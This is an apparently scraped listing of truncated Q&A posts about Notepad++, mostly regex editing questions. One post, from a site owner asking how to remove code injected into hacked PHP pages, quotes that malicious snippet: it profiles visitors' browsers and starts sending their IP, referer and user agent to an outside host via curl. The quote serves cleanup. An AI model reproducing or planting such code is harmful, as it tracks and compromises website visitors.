FAQ Database Discussion Community


Notepad++ plugin for auto format Css

css,plugins,autolayout,notepad++,auto-indent
I'm looking for a plugin for Notepad++ that will auto align (auto format) my Css files. Something similar to visual studio ctrl+k, ctrl+d effect only for notepad++. Anybody know something like that? ...

Regex find string between first string and the first instance of another string using Notepad++

regex,string,search,notepad++
Sorry - I've edited this for clarity (and I've tried to remove the bold later in the post, but it's not going away...the asterisks in the source file are throwing it off): I'm parsing medical claim files and need to find any instances of a match between one string and...

How do I set a variable to a regex string in Python Script for notepad++?

python,regex,notepad++,scintilla
I am trying to set a variable (x) to a string in a text file using regular expression. Within the file I am searching there exists several lines of code and always one of those lines is a ticket number WS########. Looks like this ~File~ out.test WS12345678 something here pineapple...

Notepad++ FTP Download Folder

ftp,notepad++
I am currently working on a project using a simple text editor and I would like to download an entire folder of a particular part of the project. I have looked around and I could see that I could download individual files but not an entire folder. How can I...

How can I shift the current line to the middle of the screen?

notepad++
Sometimes when I'm on a line of text at the top or bottom of the buffer, I want to shift the buffer so that the current line is displayed in the middle of the screen. I don't want to change any text, just the view of the text buffer so...

How to match all lines that do not start with ' “xxxx”' in Notepad++

regex,notepad++
I have the following text: { "generatedDate": "Wed 2015.05.06 at 09:29:22 AM EDT", "keyCode": "1234", "id": "84848884", "configuration": "test", "_version_": 3218761876324876321 }, { "generatedDate": "Wed 2015.05.06 at 09:29:22 AM EDT", "keyCode": "1234", "id": "84848884", "configuration": "test", "_version_": 3218761876324876321 } How do I match all lines except the ones that start...

Delete text that begin with a specific character in a txt file

text,notepad++,notepad
I have a txt file in this format (a list of numbers) 123456 654321 0123456 01564 98789 I want to delete all the lines that begins with a 0. How could this be done?...

Web Page Creation notepad++

html,html5,notepad++,webpage
Beginner Entered this code into a validator and was receiving a stray end error and bad character errors. They gave me solutions but I have no idea what these mean. Couldn't find anything online without bringing me to this site. This is html5 and I am using notepad++ if this...

how can use notepad++ in my project

c#,php,notepad++
i have some PHP code that saved in database. i want write a program that read php from database and then load in notepad++ and after edit save to database. it is possible use notepad++ in our php project as editor? or it is possible load notepad++ to our c#...

Notepad++ regex search 2 conditions

regex,notepad++
I trying to use this (?=<[^<>]+>)(?=.*<[^<>]+src=(.*?).?+alt=(.*?).?+width=.*?>).* with this string <img class=""aligncenter wp-image-27545"" src=""http://www.obrasenmiciudad.df.gob.mx/wp-content/uploads/2012/01/Imagen2-150x113.png"" alt="""" width=""398"" height=""279"" /> 5645 4684 9849 8498 498 4984 9846541513213 But I find the whole string and I need to find the string without the numbers after >, like this <img class=""aligncenter wp-image-27545""...

How to append certain strings with Regex using notepad++

regex,string,append,notepad++
I'm attempting to modify some strings in a json in Notepad++ by adding a new line with some alternate text. For example, the input for one part of the document would be "type": "apples_oranges_one", "attribute": "bananas", "type": "tomatoes_beans_celery", "attribute": "bannanas", and afterwards I would like the result to be "type:...

notepad++ keyword only if at beginning of line

regex,notepad++,keyword
Is there a way to create a rule for a Keyword in your User Define Language that states that in order for this to be a keyword, it must be at the beginning of the line ... or at least be the first word on the line?

replace the string having dynamic character inside square bracket

regex,notepad++
I've a string format: new.ControlField[0] = ""; new.ControlField[1] = ""; new.ControlField[2] = ""; new.ControlField[3] = ""; From the above I need to replace the string format: new.ControlField[0] = from every line with empty space. Here the value inside "[]" is dynamic, so how can I replace it using notepad++ replace...

How do I exit Notepad++ via ESC?

notepad++
It used to work as I remember but now it has stopped working. Is there a setting I cannot find? (not even via Google)...

Use NotePad++ & regex to concatenate all instances of a match with a string

regex,notepad++
I have a bunch of .php files with incomplete references. For instance: <a href="dishItem.php">. I'm trying to use the NotePad++ Find and replace feature to find all the .php instances and concatenate a string in front of the match. So, after finding the previous example it would concatenate it with...

Regular expression to update string in Notepad++

regex,notepad++
Are any of you good at regular expressions? Here is my problem, I have the following text POPULAR|00000013| And I need a regular expression to give me just the 13, but the number could be 00001113, so it would need to remove any leading zeros. I want to do this...

How to remove a line in notepad++ that has a specific character in it?

notepad++
Is it possible to remove every line in a notepad++ document that has a specific character in it? For example, in my document I have something like: [email protected]:cool cool:cool [email protected]:cool I want to get rid of all lines that have the character "@" in them, so after it would look...

Javascript Checkbox Validation not Checking if Ticked

javascript,html,validation,checkbox,notepad++
I've looked through a lot of the questions that people have already asked on this, but I cannot find a solution that has helped me. I'm a beginner to programming so know little about what to do, I have four check boxes and to submit the form, you have to...

Regex in Notepad++ to move contents of an element to an attribute value

regex,notepad++,href
I'm trying to solve a regex riddle. Let's say I have rows of hrefs looking like this: <a href="http://domain.com/5et46ffd5e3wR23">anchor1.in</a> <a href="http://domain.com/6utr4dGHJ6wFL">an3.php</a> <a href="http://domain.com/k543sk6k3F6hJ">setup.exe</a> What I want the regex (or any other solution) to do is to take the href title and copy it over to the actual url with a...

regex (notepad++) find a string that does not start with xx AND contains zz

regex,notepad++
I am using Notepad++ (2015.01.10) on PHP UTF-8 files. I need to find strings that DO NOT start with __(' and contain Polish diacritical vowels, such as: ą,ę,ś,ć or consonant combinations that are specific to Polish (as opposed to English), such as: cz, sz The purpose in general is to...

Replace using regexp and conserving the result

regex,replace,notepad++
I would like to replace every ' by - when the ' is between 2 letters : [a-zA-Z]'[a-zA-Z] by [a-zA-Z]-[a-zA-Z] example : "N'Guyen" => "N-Guyen" but I get "-uyen"...

Notepad++ Delete History [closed]

notepad++
My notepad++ starts up really slow and I suspect this is because I have a huge history of files opened. 99.9% of these I don't need anymore. How do I delete the history and keep it from saving opened files?

Background color change of found text in notepad++

colors,notepad++,highlighting
when i search a text pattern using "find all in current document" option in Find window, how to set the background of the selected result. Like currently i am searching "I" in the complete file, need the search result background to change when i select a particular line. attaching a...

How do I indent code in Notepad++

notepad++
How can I easily indent all my code by four spaces using Notepad++? I am trying to post on SO inside code blocks, but I don't want to manually add spaces for a bunch of lines of code.

python notepad++ specify arguments sys.argv[1]

python,notepad++
I am using notepad++ in Windows to execute my python scripts. I am using NppExec or PyNpp for this purpose and this is working well. However, I can't find nowhere how to specify an argument to the script, in order to simply call my script like this on Linux: $...

Notepad++ regex searching

regex,notepad++
I want to search a document with Notepad++ for the following text: A eg. a space then a capital A then a space. I have the following RegExp to do it: \s[A-A]\s? Which almost does it, except it will highlight all the spaces after the A, rather than just the...

Dynamic Regex find and replace pattern

regex,notepad++
My aim is to turn something like this: src/com/company/folder/anotherfolder/manyfolders/filename.java into this: a few words com.company.folder.anotherfolder.manyfolders filename "description" I've got it mostly to work with the following find and replace: Find: (.*?)/(.*?)/(.*?)/(.*?)/(.*?)/(.*?)/(.*?)/(.*?)/(.*?)(\..*) Replace: a few words $2\.$3\.$4\.$5\.$6\.$7\.$8\040$9\040"description" Which works okay, however I may have different number of folders, so it won't...

how to repeat last word of a line using notepad++

regex,replace,find,notepad++
I have multiple lines in a file. I want to repeat the last word on a line with additional suffix space or tab and prefixed with ,. For example, the sample content of the file would look like: Deepak Kumar Deepak The powerhouse Deepak mcapatna The output file what I...

Can we find and replace a regular expression by using another regular expression in notepad?

regex,notepad++
Here i'am trying to replace some text with some another text. Example:- almada-institute.com:25:[email protected]:info12345:"hello"<[email protected]>:nossl in-graph.com:25:[email protected]:info123456789:"hello"<[email protected]>:nossl get-herbals.net:25:[email protected]:info321:"hello"<[email protected]>:nossl I need to be like this almada-institute.com:25:[email protected]:info12345:"hello"<[email protected]>:nossl...

Python on Notepad++ : How to pass command line arguments?

python,windows,notepad++
"ValueError: need more than 1 value to unpack - Learn Python the Hard Way Ex: 13" This problem has been discussed a lot of times on this forum. Is there a way to pass on the arguments in the Notepad++ editor itself? Writing the code in the Notepad++ editor and...

Notepad++ how to swap characters in a string

character,notepad++,swap
I have a computer generated text file. I need to swap positions of certain entries. These entries are always 4 characters long and separated from the rest by semicolons. The 4th character needs to become the first character. For example: ;1234; has to become: ;4123; Note: There's a lot of...

How to use ACCPC plugin notepad ++ php autocomplete

notepad++
I installed ACCPC plugin for my notepad++ but it is not working. PHP class inspector area is empty and there is no any autocompletion. This is screenshot. pls click to see http://chscelikcati.com/test/notepad%2B%2B.jpg...

Merge information from Excel to Note Pad

excel,notepad++,notepad
I am having a little problem. While the technique i am currently using is somewhat workable, it certainly not the fastest or easiest way to do things. I have attached a picture of the excel file, and the desired result below: Scenario: I have an excel file with multiple products....

CSS3 animations with keyframes

html,css,css3,notepad++,css-animations
So I have been trying to solve this problem for over an hour. I use Notepad++ as my code editor, and I have been trying to do a css3 animation, but it won't work. Notepad++ will not recognize the "@" in "@-webkit-keyframes." It remains black while the other text is...

Search for entire word containing specific keyword in Notepad++ using regular expressions

regex,notepad++
I use Notepad++, i need to search and replace entire word that contain a specific keyword. Ex: someting HELP.blablabla.blabla someting i would like to search entire text for words that contain the keyword "HELP" untill the first space OR the first comma. In this case: HELP.blablabla.blabla thanks a lot...

Regex for a pattern [closed]

java,regex,notepad++
I want to write a regex for this below pattern. of John at /roger/adam/sam here John is a value(can be alphanumeric) and /roger/adam/sam is an XPath with can change. I want to replace all such instances with of $value at $XPath ...

regular expressions on sql file

regex,notepad++,sql-scripts
I need to perform a search and replace operation on hundreds of SQL script files. The idea is to transform this: CREATE PROCEDURE [dbo].[proc_whatever] ( @id INT, @parameter VARCHAR(1) ) AS BEGIN ... END Into this: IF OBJECT_ID('[dbo].[proc_whatever]') IS NULL EXEC('CREATE PROCEDURE [dbo].[proc_whatever] AS SET NOCOUNT ON;') GO ALTER PROCEDURE...

Regex: for each /xxx.png go to next /yyy.eps and change it to /xxx.eps

regex,notepad++
I'd like to get a regex like so: "for each /xxx.png go to the inmediately next /yyy.eps, and change it to /xxx.eps" If possible, how could I do it with regex? I'm working in a CSV file and using Notepad++. Many thanks! EDIT Hoping this helps to clarify, a better...

How do you replace the first and last line in Notepad++?

macros,notepad++
I'm trying to make a macro that does some replacements and in the end, deletes the first and the last lines in the document, but I've hit a dead end. Any advice?

regex replace zero or more spaces at the end of a line with exactly two spaces

regex,notepad++,markdown
How do you replace a line ending with a non-whitespace followed by zero or more spaces, by the matched non-whitespace followed by exactly two spaces, leaving the newline character intact? Searching for this: (\S)(\h*)$ will match. Replace with this: \1 (?# two spaces after the one) will leave the newline...

Notepad++ match and delete values

xml,notepad++
I searched multiple posting and haven't been able figure it out. I'm trying to delete all text from the value. Sorry I forgot to mention their are other strings so I can't use Column Mode. I have: <string name="u" value="e45f"/> <string name="u" value="bh90"/> <string name="u" value="48hv"/> <string name="u" value="Sh8D"/> I...

Fix broken txt files from GREP reports

excel,text,grep,notepad++,preprocessor
I get a report from the companies servers (of which I have no control) in the form of grep txt dumps. I need to process them to get the info in a sane manner, which I use excel, and it works great. Problem is, sometimes there are a few txt...

Find pattern in Notepad++ [closed]

regex,csv,notepad++
I'm using Notepad++ to look at a broken CSV that won't import. The pattern should be: "text","text","text","text","text","text","text","text",date Is there a way in Notepad++ to find lines that do not match this?...

Regular Expression: Match lines not starting with 32 spaces in Notedpad++

regex,notepad++,regex-negation
In Notepad++, I'm trying to match lines not starting with 32 consecutive spaces. I already have the regex that matches lines starting with 32 consecutive spaces: ^ {32}.*$ I tried with ^[^ {32}].*$ and ^[^( {32})].*$ with the same wrong result, doesn't match lines with only 24 spaces for example....

Notepad++ regular expression find a “,” and replace odd “,” with “.” in every row

regex,notepad++
I ran into a mess recently with my data aquisition program which saves four datapoints separated by a comma(csv format) every couple of milliseconds. I used a PC (NL region) where the decimal point is a "," for data acquisition. Now when i try to import my csv file to...

Regular expression in text editor

regex,notepad++,text-editor,textpad
I have a requirement to replace all the below numbers to TAB in text Editors like notepad++. I tried the below regular expression but it still needs some manually work. Can anyone help to achieve this in single regular expression. I used the below one and manually removed the [1-9]....

notepad++ regular expression result deleted ()

regex,notepad++
I'm trying to add a prefix to the string: array( 'id'=>'page-comment', 'type' => 'switch', 'title' => 'Show Comment Form on Page', 'default' => '0', 'on' => 'Yes', 'off' => 'No', ), Replace: 'title' => '(.*)' to: 'title' => __('\1\9', 'venedor') result 'title' => __'Show Comment Form on Page', 'venedor', I...

Use Notepad++ as Git Bash editor

git,bash,notepad++
I am new to Github and I decided to use Notepad++ as Git Bash's editor instead of Vim. So I followed this post How do I use Notepad++ (or other) with msysgit? and ran this in Git Bash git config --global core.editor "'C:/Program Files (x86)/Notepad++/notepad++.exe' -multiInst -notabbar -nosession -noPlugin" Then...

REGEX Parameters

regex,notepad++
I have a notepad with data that looks like this: "$7.49" "$124.00" "$530.00" How can I search through a range using regular expressions like 200-1000, but that values must be in "$XXX.XX" format. Thanks for the help!...

Notepad++ erase anything in between.. without REGEX?

notepad++,wildcard
All of my websites on GoDaddy were hacked yesterday and had this code inserted in EVERY single PHP page. :-( <?php #6278d7# error_reporting(0); @ini_set('display_errors',0); $wp_krzr3 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_krzr3) && !preg_match ('/bot/i', $wp_krzr3))){ $wp_krzr093="http://"."html"."common".".com/"."common"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_krzr3); if (function_exists('curl_init') &&...

How to move multiple lines to join another using notepad++

merge,notepad++
I have file with many lines look as: 1431683268.M60282P30030.mailtest,S=23479,W=23938:0453D37C43E8= 923D 1431683268.M690986P30032.mailtest,S=23459,W=23918:04543801693F= 9F0A 1431683272.M58906P30033.mailtest,S=23469,W=23928:044506F90B17= A602 How can i merge lines using notepad++ so they look: 1431683268.M60282P30030.mailtest,S=23479,W=23938:0453D37C43E8923D 1431683268.M690986P30032.mailtest,S=23459,W=23918:04543801693F9F0A 1431683272.M58906P30033.mailtest,S=23469,W=23928:044506F90B17A602 Thanks for helping!...

how to set default text for new document in notepad++ editor?

notepad++
I am successful in setting default language as java in Notepad++, but not in setting default code. so someone please suggest me about how to set this code as default code, when ever I create a new document. The default code to be auto generated is: public class Main{ public...

Append “,” to end of the desired string in notepad ++

regex,notepad++
I have quite a large list of words in a txt file and I'm trying to do a regex find and replace in Notepad++. I need to append comma(,) at the end of "local" string. So that: english: "About" local: " " english: "Accessibility" local: " " become english: "About"...

How to remove a specific range of characters from a text file?

csv,text,notepad++
I have a txt file (opened in notepad++) in the form of: Name|Address|City|St|Zip|Off|Z|Contact|Telephone|800|Fax|Notes My problem is that when the file was exported there was multiple pages and now I have: Page 1 of 134 Locations 3/3/2015 |Name|Address|City|St|Zip|Off|Z|Contact|Telephone|800|Fax|Notes in throughout the file. I am removing them manually, which takes time and...

How to split text file based on number of space delimiters - Notepad++

notepad++,delimiter
First time asking a question here so please let me know if more information is needed. Here is an example of the data I am trying to parse into multiple rows: 0 0 159 190 145 20 0 1 159 166 127 21 0 2 159 144 111 22 0...

Is the autocomplete tag a valid tag in .shtml file?

html,notepad++,shtml
I was adding the autocomplete attribute to a few password input fields and I noticed that in notepad++ as my text editor the autocomplete = "off" attribute is valid in various types of files (i.e. html, xsl), but in .shtml files autocomplete = "off" is not recognized as a valid...

Regular expression? How to break lines in Notepad++

regex,notepad++,line-breaks,long-lines
I'm translating an ugly formatted lang file of a plugin. It's really uncomfortable as it has no line breaks at all. How do I enter \n after } and most of all after "text":"text", Example of what the code looks like: {"dir":"ltr","editor":"Rich Text Editor","common":{"......... I'm new to regex and find...

Notepad++ save adds weird characters

text,notepad++,byte-order-mark
I'm trying to run a task on the Worker Role. I added a file named Startup.cmd with the following content: icacls "PDFs" /grant Users:(OI)(CI)F EXIT /B 0 All this does is give the Users group full control to the PDFs folder. The task does run because the Microsoft Azure Activity...

Regex in Notepad++ to replace

regex,notepad++
I have the follow text in a document (using Notepad++). Now, I want to replace all regex occurence with a ?. I have: '{$data}', '{$data2}', '{$res}','{$blahblahblah}' And I want them to become ?,?,?,? I tried using \b^'{(.+)}'$\b but that doesn't seem to find the pattern....

Regular expression for deleting everything between two HTML tags

regex,replace,find,notepad++,edit
I am trying to use Notepad++ to bulk-delete blocks of comments placed between <HTML> and <HEAD> tags in a large number of files. Which regular expression phrase should I use?...

Bookmark Lines with positive $ amounts in Notepad++

regex,notepad++
I have a text doc with about 9000 lines. The data is alpha numeric. Within the doc, there are approximately 150 lines I need to identify. The only common factor is that each contains a dollar amount. I've tried multiple Regex searches, and just can't get it right. INVALID PAYMENT...

Notepad++ - Move insertion point to next line

notepad++
I am quite new to Notepad++ and I am doing some HTML and CSS coding in it. My problem is that I would like a way to move the cursor to the next line, no matter if it is in the middle of some code in the previous line. In...

Notepad++ Select text within multiple tags

xml,notepad++,edit
hope someone can help. I have a pretty big XML file that needs tidying up. Basically some line breaks are present which we need to get rid of. There are roughly 19,000 "<Location>" tags with text between. Is there a way to have NPP search for all <Location> tags, select...

Replace quotes inside quoted string with escaped quotes in notepad++?

regex,notepad++
I am using Notepad++ to find (".*)"(.*) and replace it with \1\"\2 but it doesn't seem to work. I don't know why. Example: Someone said "My name is "sean"" I want it to be: Someone said "My name is \"sean\"" Edit: In my case the closing quote is always on...

How to remove some Number between two Slash in notepad++

notepad++,slash
I have Document like this, and I need to remove number between / / in notepad++ /554301/5e687cfh36825344e915e /557040/756dj4405g376c0dd3c2f /567600/287650cf27sdc77d5c73a /566270/1fefd5w12345l89aa776d /581080/09742m02568n481669da4 /629500/e4fa1234567aejhtre81a To this: 5e687cfh36825344e915e 756dj4405g376c0dd3c2f 287650cf27sdc77d5c73a 1fefd5w12345l89aa776d 09742m02568n481669da4 e4fa1234567aejhtre81a ...

Regular Expression (Notepad++) find all in CSV like log file where a particular column is NOT 0 or 00

regex,notepad++
I am trying to use the Notepad++ RegEx feature to search through a few thousand files to match a particular pattern. The files contain logged data with the lines of interest starting with "LOG:" followed by comma separated data. Of these lines I am interested in finding those where a...

Notepad++ - Find and replace both opening and closing tags while keeping the content intact?

regex,replace,notepad++
Let's say I wanted to replace something like this: \section{Introduction} with this: <h1>Introduction</h1> in notepad++. Essentially, find and replace all the opening tags (in this case the "\section{" part) and closing tags (the "}") with different opening and closing tags, Something like this. Except, of course, the text in between...

Is there a keyboard shortcut to navigate to previously opened file in notepad++?

notepad++
I encounter this problem frequently in notepad++: let's say i am editing a file. i want to copy contents from another file to this file. to do that i open the other file and select the contents that i want to copy. now i want to navigate back to the...

Notepad++ creates “Notepad++” folder every time I run it

notepad++
I'm not sure what happened, but since recently my Notepad++ v.6.7.7 creates folder "Notepad++" in where I start it every time I run it. I tried to change Default Directory in the Preferences but it never remembers this and falls back to "Follow current document" I even reinstalled it -...

How can i search multiple words in a file on Notepad++

search,notepad++
I'm trying to find a list of Strings in a file (already formated from \n and \r), for example : 0145100841 65722ED01A 657738J000 6584640F00 // this one is found in a file of this : 201506186584640F00AME NMGR01 RUBAT How can i do this in Notepad++ ? Is there an existing...

Clean Urls with regular expression

regex,url,notepad++
i have Data in thousand lines like http://xxxx.com/xxx-xxx-xxx-xxxx/ 60% 2 Weekly 2014-01-01 00:00 want to remove everything after / in every url (output should be in clean url like below) http://xxxx.com/xxx-xxx-xxx-xxxx/ Thanks ...

regex on sql script

regex,notepad++,sql-scripts
I need to perform a search and replace operation on hundreds of SQL script files. The idea is to transform this: USE [DB] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO /* comments xxxx */ ALTER PROCEDURE .... BEGIN ... END Into this: ALTER PROCEDURE .... BEGIN ... END...

Regular expression to replace text between XML tags using Notepad++

html,regex,replace,find,notepad++
Regular expression to replace text between XML tags using Notepad++ I need to replace all URL tag if containe /mailto/ with "" in Notpad++ I need to find and replace text between html tags. Example: xml: <urlset> <url> <loc>http://www.file3.ir/last-books/183-Education/The-Praeger-Handbook-of-Learning-and-the-Brain-%5B2-volumes%5D</loc> <lastmod>2015-05-02T21:15:06+00:00</lastmod> <priority>0.00</priority> <changefreq>monthly</changefreq> </url> <url>...

turn all into links with the link being the contents of the sup tag

html,regex,notepad++
I have a text doc with superscript tags that I want to turn into links. <sup>3</sup> <sup>4</sup> into <a href="#3"><sup>3</sup></a> <a href="#4"><sup>4</sup></a> I can search for the contents of the sup tags using regex <sup>*</sup> But is there any way to replicate the contents of the tag, and replace it...

Select first and last name using regex and notepad++ on a csv file

regex,csv,notepad++
I have a list of our clients in an CSV file. Each line have the phone number, full name, e-mail and birth date. All separated by semicolon. Each line looks like this: 000000000;Client Full Name;[email protected];1983-12-27; I want to use notepad++ and regex to change all the names from full name...

How to sort string of numbers (x,y,z,x,y,..) w/ regular expressions?

regex,string,notepad++,coordinates
Is it possible to sort string of numbers using regular expressions? They are separated only by comma (,) the pattern is xx.xx,-yy.yy,zz.zz,-xx.xx,yy.yy,zz.zz,..., not necessarily 2 places before and after decimal point and possible minus sign. (I was hoping to use only primitive macro in Notepad++) Short excerpt: -50.0,-50.0,30.00012772,-47.47203563,-50.0,29.99892056,-44.94407125,-50.0,30.00167397,-42.41610688,-50.0,29.99915497,-37.31940443, ...

How to select cross multiple lines in regex [closed]

regex,notepad++
How could I select and replace something like below: " sfg sdgfghsdf dgfdg PAGE 1 sdgffd fdgfd sfdgf *cloum 1 *cloum 2 *cloum 3 *cloum 4 *cloum 5 * *cloum 6 *cloum 7 *cloum 8 *cloum 9 *cloum 0 * This is what I want " sfg sdgfghsdf dgfdg PAGE...

Find and replace expression with notepad ++

notepad++
I've need to serch with notepad ++ this word: !fieldname, and replace with dr("fieldname"), where "fieldname" contain any alphabetic characters, digits and undescores. Temporally I've find this solution, but it don't replace underscores and digits: find: (!)([A-z]+)(,) - !asdasdsd, replace: dr\(\"\2\"\)\3 - dr("asdasdsd"), ...

add copied csv column data in notepad++

notepad++
I have the following with the following structure 1;test1; 2;test2; 3;test5; I have to add new column from XLS file so that will be test10 test11 test12 Now I am trying to append this column to the text file like 1;test1;test10 2;test2;test11 3;test5;test12 I tried altshiftdownarrow Then I pasted the...

Try to delete the '\n' at the end of line only if the next line begins with '('

regex,notepad++
I am tring to use Regex on Natepad++ to modify some text. Try to delete the '\n' at the end of line only if the next line begins with '(' Example: Change This is a line (Note) to This is a line(Note) My Regex is replacing \n^( or \n( with...

Using notepad++ for finding and replacing complex statement - regex

regex,notepad++
Now :- SELECT @ptrval = TEXTPTR(COLUMN_NAME) FROM TABLE_NAME WHERE <condition> UPDATETEXT TABLE_NAME.COLUMN_NAME @ptrval NULL NULL @textpart; Change to:- UPDATE TABLE_NAME set COLUMN_NAME .write(@textpart,null,null) WHERE <condition>; ...

How this code makes that hex values?

java,hex,notepad++,hex-editors
can any one explain me "in details" how this code makes a .cfg file that is like the picture in the left? I wanna change it so that it becomes like the right one? setLastFileInTNM(getTnmInstalledPath(), getLastPath()); private void setLastFileInTNM(String TNMConfigFilePath, String fileTobeSetInTNM) throws Exception { //fileTobeSetInTNM += " "; File...

Entity Reference Loop in large xhtml

html,xml,xml-parsing,notepad++
Im generating a large Xhtml file. When opening the file with notepad++, it says there is an Entity Reference Loop in my file. The file is about 20K lines, and gives these errors on lines like: <p class='tbl__description'> &auml;rzaweqt;&auml;&ouml;&ocirc; &eacute;&icirc;&Auml;&ecirc;&yuml; &Ouml;&yen;&pound;&uacute; </p> Does anyone know what this 'XML parsing error...

Notepad++ multi-line regex replacement only replacing first line

regex,notepad++,multiline
I want to comment out a large number of multi-line logging statements with a single regex replace all operation. My [potentially] multi-line statements look like this: logger.info( "Log Message: [" + myVariable + "] is has a value of: [" + myVariable.getValue() + " ]" + LogColors.ANSI_RESET ); The following...

Problems converting a OpenOffice/Libreoffic .fodg-file to ,graphml using XSLT

xml,xslt,notepad++,openoffice.org,libreoffice
I am new to XSLT and trying to convert a Libre-/Openoffice drawing to a .graphml file for import into yEd. To do the transformation I started using the Notepad++/XML Tools and also the XML Xopy Editor. But I am stuck in getting the elements with their namespace identified. So I...

How to Create Custom Shortcut for Language Selection in NOTEPAD++

notepad++
Whenever I open any KSH files, Notepad++ is not identifying that it's a shell file and so shell commands are not highlighted. So I need to select Shell from Language Menu bar as shown in the below screenshot. Can anyone please tell me how to create a shortcut for selecting...

Copy java/xml code from Notepad++ to Ms word

java,xml,ms-word,notepad++
I have wrote a .doc document and I want to paste xml code in Ms Word. I tried to copy the xml code in Notepad++ but I don't know how insert the line numbers and the vertical line as in this picture. How can I solve it? ...

Using Notepad++ find and replace with regular expression

html,regex,notepad++,calibre
I have a html menu file, which contains list of html pages, extracted by chm decoder. (7,0,"Icons Used in This Book","final/pref04.html"); (8,0,"Command Syntax Conventions","final/pref05.html"); (9,0,"Introduction","final/pref06.html"); (10,0,"Part I: Introduction and Overview of Service","final/part01.html"); (11,10,"Chapter 1. Overview","final/ch01.html"); (12,11,"Technology Motivation","final/ch01lev1sec1.html"); I want create from this a 'table of contents' file for Calibre (HTML...

Notepad++ - is there a way to control the word separators [duplicate]

configuration,notepad++,config
This question already has an answer here: notepad++ select hyphenated text 4 answers In Notepad++ (beloved) I could not helped but notice that the ctrl+left (SCI_WORDRIGHT) would jump on the next - signs. Example: WORD-ID-1 (is actually 3 words, WORD, ID , 1) vs. WORD_ID_1 is one word. I...

Highlighting regex capture groups in notepad++?

regex,notepad++
As of now if I do a regex 'find and replace' in notepad++ it highlights the entire search parameter like a normal text 'find'. Would it be possible to have it highlight capture groups in a different color so I can easily identify what I'm capturing in regex? For example,...

Regular Expression not matching in notepad++

regex,replace,find,notepad++
I am trying to match this regular expression in notepad++, but I am getting an error saying that it is invalid. My Regex: {{#lsth:JointEntero_May_2015\|2015_May_([0-9]+)}} What I am trying to match: {{#lsth:JointEntero_May_2015|2015_May_8}} Why is it failing?...

Remove breakpoints from the margin in Notepad++?

notepad++
I often select lines by clicking the line number in the margin in Notepad++ but I often click slightly to the right of the number which sets a breakpoint rather than selecting the line. I never use breakpoints in Notepad++ so I am looking for how to remove breakpoints from...

Find & replace multiple numbers at the same time

notepad++
I have a file with a bunch of numbers and I need to increment some of them by one. Except that if replace all the 2 by 3, then when I try and replace all the 3 by 4, everything will become 4. I want to know if theres something...

Notepad ++ Perform Search Replace On All Lines Except Last

regex,notepad++
In Notepad++, I often have the requirement of performing a regex-based search and replace on multiple lines. However, I would like to keep the last line intact. Simplistic example below: Sample File Line One Line Two Line Three Line Three Regex: (.*) Replace With: \1, The required result should be...

Regex how to match all end of line except blank line?

regex,notepad++
If I have text: AAAAAA BBBBBB CCCCCC DDDDDD EEEEEE FFFFFF GGGGGG HHHHHH I want to match all end of line except the blank lines and replace the end of line to tab. [^\s]$ partly works, but it also matches the last character of non-blank line. [^^]$ does not work. What...

XML validation using XSD (regex) with “|” operator (Notepad++ plugin)

regex,xml,xsd,notepad++,xsd-validation
I am using following not very strict XSD validation (regular expression) to check if a string contains https or relative URLs and not http. <xs:attribute name="src"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:pattern value="(.{4}[^:].*)|(.{1,4})"/> </xs:restriction> </xs:simpleType> </xs:attribute> Sample XML: Succeeds (suppose to fail) <?xml version="1.0" encoding="UTF-8"?><html src="http://www.stackoverflow.com" /> Succeeds (as expected) <?xml version="1.0"...

match line break except line begin with spcific word or blank line

regex,notepad++
If I have text that the line breaks is broken: Chapter 1 Lorem ipsum dolor sit amet, consectetur adipisci ng elit, sed do eiusmod tempor incididunt ut la bore et dolore magna aliqua. Ut enim ad minim ve niam, quis nostrud exercitation ullamco labo ris nisi ut aliquip ex ea...

When i run in Notepad++ its giving me error Xrm is undefined.Can anyone help please

notepad++,dynamics-crm-2013
function Page__onload() { } if( Xrm.Page.getAttribute("new_project").getValue()!=null){ Xrm.Page.getAttribute("new_proj").setValue(Xrm.Page.getAttribute ("new_project").getValue()); } function ProjectNumber() { if( Xrm.Page.getAttribute("new_projectnumber").getValue()!=null) { Xrm.Page.getAttribute("new_projnum").setValue(Xrm.Page.getAttribute ("new_projectnumber").getValue().toString()); } else{ return error; } } ...

Removing everything except a “part” of the string

regex,sorting,notepad++
Here is the string, a full example: ('1416851040', '1416851040', '50.62.177.118', '84.161.97.189', 'humpy_electro', 393883, '385962628'), ('1416851046', '1416851046', '2607:5300:60:6097::', '80.187.100.105', 'lagbugdc', 393884, '737537953'), ('1416851067', '1416851067', '174.66.174.101', '98.148.244.151', 'maihym', 393885, '1473193487'), ('1416851094', '1416851094', '2607:5300:60:6097::', '92.157.2.230', 'xeosse26', 393886, '737537953'), I'd like to remove -EVERYTHING- from it except: facebook:jens.pettersson.7568 (the username slot) And...

Regular expression to replace text between html tags using Notepad++

html,regex,replace,notepad++
I use Notepad++ v6.4.5 to edit html code. I need to find and replace text between html tags. Example: </a> <h3></h3> <p></p> </div> ... ... <span class="product-thumb-title">Here is title sample</span> OLS-34/-35/-36 </a> </div> I need move text to: </a> <h3>Here is title sample</h3> <p>OLS-34/-35/-36 </p> </div> and to remove <span...